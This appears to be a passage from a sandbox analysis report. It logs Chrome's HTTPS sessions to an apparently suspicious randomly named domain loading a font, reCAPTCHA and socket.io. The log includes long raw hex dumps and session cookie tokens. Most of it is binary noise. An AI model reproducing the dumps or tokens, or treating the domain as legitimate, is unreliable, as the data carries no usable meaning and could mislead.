2024-04-24 06:22:01 UTC	1369	IN	Data Raw: a7 9f e1 41 ca f5 83 8e 3b ef 36 73 5a b5 d9 a6 5d 87 4e 5d ba f5 da 6e 87 9d 76 d9 6d 8f bd fa ed 33 f0 8a 1f 7c f0 73 cd 61 47 f8 86 14 f4 d9 05 4a 43 a1 a2 d7 e1 81 fb 1e 7a e2 b1 e7 3e fb e6 2b 1b 30 fb 13 00 f8 c0 06 e0 02 9b 00 1e f7 07 3f 94 ea cb 9c fd 8a 07 b7 5f 72 79 43 e1 99 99 f9 af 64 20 e2 d5 4f f8 1a 9f 0f 45 87 ab 6f b8 e5 b6 3b 6e 6a 3e 07 38 ea e2 92 3d 6f 53 e8 7a d5 90 a4 f5 bb 00 b6 e2 e9 a8 1b 9e b9 e5 e8 e0 21 be b7 2e b9 6e a1 b1 d7 b4 af 6d 72 d7 8d 35 3b 56 af 79 a3 f1 a8 10 98 c8 dc 27 b9 bc 57 1c 10 c4 78 17 7d 7b e6 e4 14 50 ed ad 14 ce 2a 9a 30 8b c3 ff 6c a9 ec 9b 3a 15 ba 50 be 80 af 3c 38 a7 af 1f e3 e5 37 fe ce cb f3 54 be db ea b4 df 8e cf 23 42 02 cb bc 28 d2 eb 7f 90 4c 5f 93 1e 3e 65 5e 3c c2 f7 56 4f 34 2e 5f 91 0d Data Ascii: A;6sZ]N]nvm3\|saGJCz>+0?_ryCd OEo;nj>8=oSz!.nmr5;Vy'Wx}{P*0l:P<87T#B(L_>e^<VO4._
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: da 40 b0 4d 80 d2 8e 20 d8 9b a0 03 04 c7 04 5a 3a 11 04 67 13 74 81 e0 9a 40 43 37 82 e0 6e 82 1e 90 ef 09 85 af e3 7e 79 b3 a8 3c 1f af a3 ea b7 59 3a 65 d4 f0 e9 2e 26 f6 67 88 bf 3c 17 fe 4a 7d 86 6f b3 d4 df 1f 89 7f d8 c2 3f 29 f0 6b 96 fb f7 23 f1 1f 5b f8 2f 05 29 b5 c1 3b 3f f9 d3 9d 6f 74 4d 92 6e c1 9b 60 e7 5b 3f ce 93 de be b6 0e 52 ab 33 bf 5e c8 c7 d5 43 95 3d 57 f1 64 9a 6e d7 e8 c1 07 a3 76 73 6a 54 ae 4c d3 ab ab bf 09 89 8c 7e a6 5e 64 81 e1 e6 c8 4c 63 4e ce ed b3 25 fe 2e 35 2b db 39 77 d5 b8 4c 4c 1b c3 8d e6 ce 2c 9d 25 f0 ca 42 ab 29 f0 77 c9 59 59 55 74 3a 9b 4e 32 52 b5 79 46 3b cd ad 2e 97 8d a5 33 fd 93 1c 1b c9 7e 95 3c b7 a4 73 d1 1c 0e c3 a1 8a 99 63 72 33 65 ed 5a b3 61 1f 60 0c ed eb 65 94 cb fe 80 ac 81 94 39 af 0b b9 69 Data Ascii: @M Z:gt@C7n~y<Y:e.&g<J}o?)k#[/);?otMn`[?R3^C=WdnvsjTL~^dLcN%.5+9wLL,%B)wYYUt:N2RyF;.3~<scr3eZa`e9i
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: e8 28 89 3d ab 0b 0c 6c b4 d2 a8 77 7e 3e 40 5f 74 8d 57 30 00 c5 e8 bd 8c fd d4 dc ad 43 5d 93 64 52 3e 47 47 5e f4 3b 0c 17 af f2 bd 11 03 7d e5 8b 1d 0d ae ad 1d c8 4c ce ae 60 97 20 5d 60 73 e9 4d 28 9e fa 17 4a 14 06 9a f3 51 58 d3 87 f7 f0 6a a7 e7 02 f1 7c a6 6b c0 5a 9c a6 71 a7 6d 77 5c a5 e4 ea 23 ea 5a 6c 9c d5 7a 09 7f 9a b1 87 11 03 90 28 34 e5 6a cc db 32 a1 cc 92 41 35 e7 6c 42 45 56 4d 39 77 dc 0f c2 2c 7a 0c d7 70 a8 c1 d7 f4 f8 98 4f 24 41 4f 4f 24 20 3c 35 50 8e cc d2 f5 a0 06 c3 56 ba 78 ab 70 b3 07 1a 73 19 ed 91 2a 0d b8 d3 51 99 d5 f9 aa 19 b9 de c1 14 2a a2 12 4e 95 f0 2b 44 82 78 2e 7d 8a f1 be 83 94 c8 cf e1 20 be a2 15 2b da 1e 44 bb e8 70 ac b1 3f e0 c3 ee e9 f9 2e 75 a8 58 30 b6 c6 c8 50 63 ea f6 65 8a d1 3d 28 46 57 a7 3c 46 Data Ascii: (=lw~>@_tW0C]dR>GG^;}L` ]`sM(JQXj\|kZqmw\#Zlz(4j2A5lBEVM9w,zpO$AOO$ <5PVxpsQN+Dx.} +Dp?.uX0Pce=(FW<F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49776	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:01 UTC	1427	OUT	GET /23vPcUTsDItyMtMhkOGabvVduvoZpQHvw65 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o5u7g.zleu9.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
2024-04-24 06:22:01 UTC	629	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:01 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="23vPcUTsDItyMtMhkOGabvVduvoZpQHvw65" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q52RmccCis5k0aiGcSFBa04sAg7XhrvE%2BPBpSBN05rqsdQb35mYeFRKhrG%2BMUmU7qNpPQYiVsygONl%2BpcKC9ZZQkTAmjThKw5NRhtsBGoKdmyEjdnmxDZ3QsjAkuPQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff1a78857cda-LAX
2024-04-24 06:22:01 UTC	740	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gaspglyf"0Tlh.+headv46}hheav
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 47 bd e8 4c ba 90 ee a5 9f 20 67 2a 4d a7 b7 68 2e cd a3 c5 b4 94 96 51 21 7d 42 c5 b4 9a d6 51 09 6d a4 4d b4 85 b6 52 1d 35 2a bf 4a 55 69 2a a8 f2 55 5f 35 40 5d ae ae 50 57 aa 81 ea 2a 35 48 0d 56 57 ab 6b d4 b5 ea 3a 35 44 5d af 6e 50 23 d4 18 35 56 3d a9 c6 a9 a7 d4 78 f5 b4 9a a0 9e 57 2f a8 89 ea 45 35 49 bd 04 8a 4e 56 53 d4 54 d0 75 ba 9a a1 5e 55 33 d5 5f d4 1b ea 6d 35 47 2d 50 8b d5 12 55 a8 8a d4 47 6a 95 2a 56 ab d5 a7 6a 8d 5a ab d6 a9 f5 6a a3 da 42 4a bd ca 5f 50 77 ca e3 30 f5 e2 66 2a 00 8f 96 71 13 95 f0 71 35 96 f7 aa 27 b9 46 3d 4d 49 6a 02 37 a8 e7 91 5e e0 66 f5 22 87 d5 4b 5c a1 a6 70 48 4d 43 de 74 a4 57 b9 5a cd 42 7a 9d eb d5 6c 94 2b c6 b3 b5 d4 85 ce 01 65 7c a0 8d 0f b5 1e a5 42 3e 8e 9a 0f a9 31 a8 61 2c f5 44 ed 45 6a 1c Data Ascii: GL gMh.Q!}BQmMR5JUiU_5@]PW5HVWk:5D]nP#5V=xW/E5INVSTu^U3_m5G-PUGjVjZjBJ_Pw0fqq5'F=MIj7^f"K\pHMCtWZBzl+e\|B>1a,DEj
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 27 14 ca 17 bd 07 be a8 a9 00 2d 3a 4f d6 e1 0d 70 0b f4 8a e0 9c a5 69 07 3a 1f c1 db c9 f0 f2 79 f0 13 cb e0 fb fc c6 27 ed b7 bd 3d ac 5d 21 b0 b3 ad 2e f0 04 b6 61 ad 5b 68 b9 10 b6 63 0c 3c e1 58 d8 86 27 79 35 f4 ca 6f ac ef 26 d1 a5 c9 90 86 a9 90 f9 69 22 b5 b0 ba d0 e2 57 91 3f 13 16 73 16 f2 6d 3b a2 71 98 0b 1d 50 b6 05 84 34 c3 fa 42 92 0b d0 aa e6 6b 37 48 d4 71 d4 7f 5c fc e1 04 d0 60 32 d2 62 78 80 25 48 ef 23 2d 43 fa 00 e9 23 3c d7 5a b0 1a e9 53 d4 8f 5e 2b 44 95 6a 23 d2 56 cd 69 60 9a 05 8c 2c 48 45 12 da 1b 83 de 2a b5 1c 12 aa 5c 49 a8 43 cf ab 5d 39 3a 6c ee 2c 91 23 94 c2 73 4d 5d 0b 3c b2 0c 7d d2 9d a7 f0 54 bd 78 ab a3 2d 42 73 e5 bc c7 db 28 69 e8 49 1d e1 0e 9b 78 fb 40 7a 88 ee 43 9c 7c 14 3c 48 e2 30 b0 b0 50 3e 85 9b 00 90 Data Ascii: '-:Opi:y'=]!.a[hc<X'y5o&i"W?sm;qP4Bk7Hq\`2bx%H#-C#<ZS^+Dj#Vi`,HE*\IC]9:l,#sM]<}Tx-Bs(iIx@zC\|<H0P>
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: b1 89 86 cc 2c 49 c7 f0 4d 56 64 3e 23 ce b8 34 d4 96 47 4a c0 1c 9f 8f df e5 cd bc 08 e7 46 48 4a 19 62 c7 32 7b 4d 8f 27 ea 39 53 c8 f9 2e c8 fb 5e f8 a8 23 b2 9f 23 cc ab 0d ae 13 e5 b7 02 b1 e4 5e f3 64 25 c6 59 47 79 27 57 f2 6b bc 9d 17 71 0d 4a ef 32 29 64 e6 07 fd c8 0d f3 6c fe 2b ea 6c d0 ad f1 3a ea 09 3a e4 f0 74 68 df f6 d3 90 93 1a b3 57 63 bf f6 a8 68 37 cc 27 a1 a7 e9 68 b5 0a d7 0d 7a 3f a4 94 39 89 9e 85 1d 49 32 eb 54 3a bf 41 ae cc 6c 1f 3c b0 de 37 67 8f 01 8f 00 b7 9a d8 75 4d ae b4 25 0e 6d c9 3b f6 1e 10 a1 d8 5e b4 54 8d f4 85 ec 5f 3c c5 11 ab 67 ec 5a a7 77 cc a0 be 2e da da c8 b5 a6 d6 49 b3 93 c6 2e d5 d8 b6 7c b8 e5 6a 65 1e 2d 26 9e 73 c6 8d ba d7 72 11 33 17 78 ea 78 9b f2 7a bd 63 8f e7 be d6 9e 05 06 7e 56 cb f9 53 af e7 Data Ascii: ,IMVd>#4GJFHJb2{M'9S.^##^d%YGy'WkqJ2)dl+l::thWch7'hz?9I2T:Al<7guM%m;^T_<gZw.I.\|je-&sr3xxzc~VS
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: e3 19 89 16 43 32 a2 ac 89 1e 6d 7b e6 31 7c f1 f7 3a b4 90 97 c3 ed 7d 71 d3 6e 84 68 79 ca f8 dc f1 8a 13 b3 46 8f 64 ca 90 57 04 ab fe 26 a2 a8 50 fc 31 a1 ac 4e 26 47 7d ab d2 e0 91 b2 86 88 7e c1 3e ae 8b 79 fb 60 7b 74 8e 13 fd 1f a1 b3 e5 e6 42 d7 57 d7 da bb 7d 81 6b 5b d1 7d 72 64 14 2e ba aa 47 10 8d d1 a3 4d c7 ea d9 76 a6 e5 08 d2 b5 51 8b 62 2d 64 94 25 38 e2 68 b6 89 9d c2 90 ce 46 91 fc d0 e9 7f 67 e7 e0 e8 ac fc 49 8d 8d 1a e2 cf e2 c4 e7 7f 04 5b 89 fb 43 d1 f2 e2 8e f9 8e da 56 c1 9e 6f 30 cf f6 9d de 6c 27 de 0b c0 7b d6 e9 55 03 53 4b 46 dc 79 a3 06 ef de 88 a8 16 bc 71 e4 0e 89 15 da 90 f5 76 e5 3d e8 ed 4d d4 ea 96 2f 6e 44 fe 1c 6c c5 94 f8 6b ab a2 c9 2d f7 76 46 bc 59 93 3b f7 a7 ef 8b f8 9d f6 c6 98 ed e4 57 23 a6 aa 8e b6 ef 90 Data Ascii: C2m{1\|:}qnhyFdW&P1N&G}~>y`{tBW}k[}rd.GMvQb-d%8hFgI[CVo0l'{USKFyqv=M/nDlk-vFY;W#
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: b7 b4 03 23 80 8f 03 a3 a5 9d 78 70 bb 01 8d f1 0f 5c 20 73 e7 f4 80 90 ec 7e 38 f0 a3 56 e0 c7 e8 e3 7d d2 4f 07 7e 26 30 b2 0d b8 df c0 03 2e 8c 72 e1 9b 3a 86 21 ce e9 26 ff 3e ac d3 30 c0 1d f4 8f 92 d2 69 00 75 81 cf f2 23 ea ba 0d 25 6f 13 b8 0c de f1 3c ba 07 d0 03 5e e4 7c ba 40 f4 b7 2b d9 bb f2 f4 57 71 69 64 ff 53 f4 70 99 b5 89 9e 99 f1 fe 4b 90 d6 75 a2 3b 01 57 d2 39 f4 5d fa 07 3a 13 d1 db c5 d0 7f e7 4b e9 db 4c bb 67 9b ef 91 cf d2 91 9c 1c ff 24 a0 b5 74 03 28 ab 50 d3 19 48 fd dd 73 92 b9 b3 ef 75 3a 07 ba da 43 fe 97 ef 7c e8 aa 4f 56 06 94 bc d9 1f cf 73 64 9d f3 76 48 59 7f c1 aa 7f 14 a8 36 41 d7 e4 40 ff 56 a1 ad 12 49 1e 7c e3 bd 13 0b dd 4d fe 39 2e 24 0b f4 68 03 2c 03 29 2e f8 0c e8 9a fc a0 71 2a 24 40 ff 3b e4 b9 b8 d6 2b d1 Data Ascii: #xp\ s~8V}O~&0.r:!&>0iu#%o<^\|@+WqidSpKu;W9]:KLg$t(PHsu:C\|OVsdvHY6A@VI\|M9.$h,).q*$@;+
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: ec d4 75 da 3a bd 9d 0f 9c 63 21 39 21 b9 6e ac 3b c1 9d ee 2e 76 33 dc 15 ee 2a 77 83 bb d9 dd e7 1e 74 0b dd d3 5e 4d af 8e e7 7a 3e 2f ca 6b e9 75 f0 62 bc a5 de 0a 2f cb cb f6 d6 45 d6 8a f4 45 46 45 4e 8b 4c f6 39 be 70 5f 15 5f 75 5f 1d 9f eb 6b e6 eb e2 8b f3 3d d4 78 7b d0 09 56 fc 65 d3 59 e7 6c 68 71 b1 e9 f3 68 41 07 6e a4 2f 03 4c d7 60 46 90 ca 72 b2 58 c3 7a b9 a6 2b cf 74 fd a0 33 4e 44 a9 ae 2d 4e 41 a9 ae 18 37 d1 9d e6 2e 74 d3 dd e5 6e 96 9b e3 e6 b9 7b dc 7c f7 47 f7 94 57 c3 8b f0 ea 79 9e e9 6a e1 b5 2f d7 b5 f2 5f 75 55 fb 8b ae 81 a6 8b 60 a8 e9 52 99 2e 4d 84 e2 4d a6 2f 86 58 3a f1 f7 51 07 8a 8e 96 dd 16 0d 2b 1a 54 94 04 e7 22 8a ea f2 9f 23 98 50 be 0e 0e a6 06 63 83 93 03 e7 82 04 ce 04 7e 0d 14 06 32 02 63 02 ab 8f 3f 75 fc Data Ascii: u:c!9!n;.v3*wt^Mz>/kub/EEFENL9p__u_k=x{VeYlhqhAn/L`FrXz+t3ND-NA7.tn{\|GWyj/_uU`R.MM/X:Q+T"#Pc~2c?u
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 48 8b 78 bf 68 6e ae 66 24 8e 7d 5f 63 dd ad 18 fe a6 ff 2f f7 e0 48 1c b2 5f b8 86 07 10 29 77 0d 94 bb da 56 ae 12 b2 a3 52 05 42 25 2a c4 14 33 04 30 9f 14 5e 4b 90 15 6a 35 2d 17 f1 e9 d1 c8 8c 10 b7 07 f7 7c d3 af d8 6b dd ed c3 7e 30 12 fb 17 34 1b 0d 60 54 b1 df fa a9 f5 63 20 86 c1 4c 3a c3 70 bf e7 87 a0 95 ae a4 74 86 83 52 38 d4 c4 23 96 f5 2c c3 50 ba 17 53 ce 30 ae 2e 00 50 aa d5 6a 85 52 1b 8f 90 9e d5 b1 7a a4 65 75 f8 2d ac bd b6 ce 7a b1 ff 71 ec 9f 37 82 ee f0 43 77 d6 a3 32 e1 06 3f f4 99 35 07 ca 67 99 f7 a1 fc 9d 50 be 0f 13 ca c4 30 53 2d d9 2e 88 c7 84 7e cc 00 53 f9 46 86 65 09 e9 8c 67 99 12 71 1c e1 0e f2 42 e5 e1 61 be 9a 68 7d 58 4c 78 4c 48 90 26 d4 37 34 31 42 05 cd d2 e8 52 c3 b0 9f af 42 e9 ef ef e7 eb 89 f5 3a 94 9a 87 d3 Data Ascii: Hxhnf$}_c/H_)wVRB%*30^Kj5-\|k~04`Tc L:ptR8#,PS0.PjRzeu-zq7Cw2?5gP0S-.~SFegqBah}XLxLH&741BRB:
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 07 71 92 20 2a ef 78 d7 b5 cd 45 45 5b 6e 74 ff e5 22 3a 74 e6 cc b9 53 7f e5 87 cc 6d c7 17 37 9e 58 9a 61 3d 8f bf da d6 df b7 4b 50 42 bd 3d a3 67 f9 eb c0 1f 2d 93 c4 58 2c 53 c3 42 43 82 7d 78 cc fa 69 c0 20 c0 a5 be 64 0a 9e 9c 65 81 01 88 31 44 07 24 05 26 01 cb b4 48 3b 39 cb 94 5a a5 81 b0 2d c3 6c 30 6b 33 32 c6 f1 0e d9 78 46 3e e7 ce fa d1 f2 57 cb 5e e9 9d 37 9c fe 79 f7 27 e9 a9 c0 3b 67 3c 3c 26 dc 5d f2 a3 e6 57 cd 53 8f 19 a3 3f 6f fc a4 ec ad c9 78 79 1f 9d 93 83 99 54 4b 12 0b 76 02 99 91 c5 a9 bf 11 b4 36 5b cb d8 4d ff be 9a a0 00 4d b0 6f b0 4e 3d cd 57 09 52 85 60 06 06 51 8d 8c 84 e9 16 f4 06 30 58 9e 7d b9 85 f7 df 83 ba 5f 10 1e 67 15 ac 70 e7 22 7a b2 f3 d1 f5 d3 05 c3 d1 fb ce 1f 12 04 f6 ee ee 1f c5 58 d7 e3 55 d6 fd c0 ec a5 Data Ascii: q *xEE[nt":tSm7Xa=KPB=g-X,SBC}xi de1D$&H;9Z-l0k32xF>W^7y';g<<&]WS?oxyTKv6[MMoN=WR`Q0X}_gp"zXU
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: c4 9e 12 e6 70 cf 02 bd 11 4c b9 65 66 58 28 56 91 e1 64 93 29 7b 49 42 60 ed 03 9f cb 18 22 48 2e 36 7a 83 03 35 3e 6a 6f 2f 4f 0f 91 68 05 13 81 22 5c c7 a8 b6 1b 5a 7e 9e ec 18 e9 ec db 4d dd c5 79 d6 39 63 8e 50 de 92 69 ba a9 29 09 85 41 a5 86 35 c2 9c ee ea a2 0d 46 69 bc 85 9e 62 63 a7 96 c5 98 32 8d fa e9 a6 3c 42 73 99 50 85 5d e8 fc 01 d6 90 c6 c7 45 c1 51 25 20 cf 23 ac 8d 3a 6f 4f e0 23 cc 22 dc 18 45 30 7d 8c e3 61 54 6b 6f 99 e5 62 75 53 ae 29 61 46 48 99 b1 47 a8 5a 59 5b d6 17 45 d8 15 d2 5b 98 91 13 6d 98 9e 99 4d e6 2c a1 8a ce 59 09 c4 8f 57 20 c4 c6 c5 42 3f e2 52 e2 72 d2 99 8f 8e 3e 6d 19 58 10 76 dd 69 88 0e 0c f0 d3 78 7b b9 2a 99 04 94 60 d7 9d 64 90 39 ce 6a 0a a5 82 fc df 8e 4b 47 9b 7b e3 a6 f8 4f 09 1c 20 73 dd fd cf ff e0 dc Data Ascii: pLefX(Vd){IB`"H.6z5>jo/Oh"\Z~My9cPi)A5Fibc2<BsP]EQ% #:oO#"E0}aTkobuS)aFHGZY[E[mM,YW B?Rr>mXvix{*`d9jKG{O s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49780	142.250.141.105	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:01 UTC	694	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o5u7g.zleu9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:22:01 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Wed, 24 Apr 2024 06:22:01 GMT Date: Wed, 24 Apr 2024 06:22:01 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 06:22:01 UTC	727	IN	Data Raw: 34 63 36 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 4c6/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-04-24 06:22:01 UTC	502	IN	Data Raw: 63 47 6c 79 65 53 49 36 4d 54 63 79 4e 54 51 77 4e 7a 6b 35 4f 53 77 69 61 58 4e 54 64 57 4a 6b 62 32 31 68 61 57 34 69 4f 6e 52 79 64 57 55 73 49 6d 6c 7a 56 47 68 70 63 6d 52 51 59 58 4a 30 65 53 49 36 64 48 4a 31 5a 58 30 3d 27 3b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 27 61 6e 6f 6e 79 6d 6f 75 73 27 3b 70 6f 2e 69 6e 74 65 67 72 69 74 79 3d 27 73 68 61 33 38 34 2d 41 32 33 36 4a 2f 5a 55 67 55 2b 30 2f 4f 36 62 2f Data Ascii: cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-A236J/ZUgU+0/O6b/
2024-04-24 06:22:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49781	13.226.210.111	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:01 UTC	622	OUT	GET /4.6.0/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o5u7g.zleu9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:22:01 UTC	701	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 45806 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Fri, 19 Apr 2024 23:47:23 GMT ETag: "80f5b8c6a9eeac15de93e5a112036a06" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: pdx1::r8gft-1713570443288-a687dd7290b7 X-Cache: Hit from cloudfront Via: 1.1 c5d2fc4501e84a29df03002dc65dfcb4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LAX50-C1 X-Amz-Cf-Id: 7Sjjq0qzdPA-ALTiV6SL76Dd-w0Q6UMGMUzk7DWYTqoy9uZRDZFsrA== Age: 369278
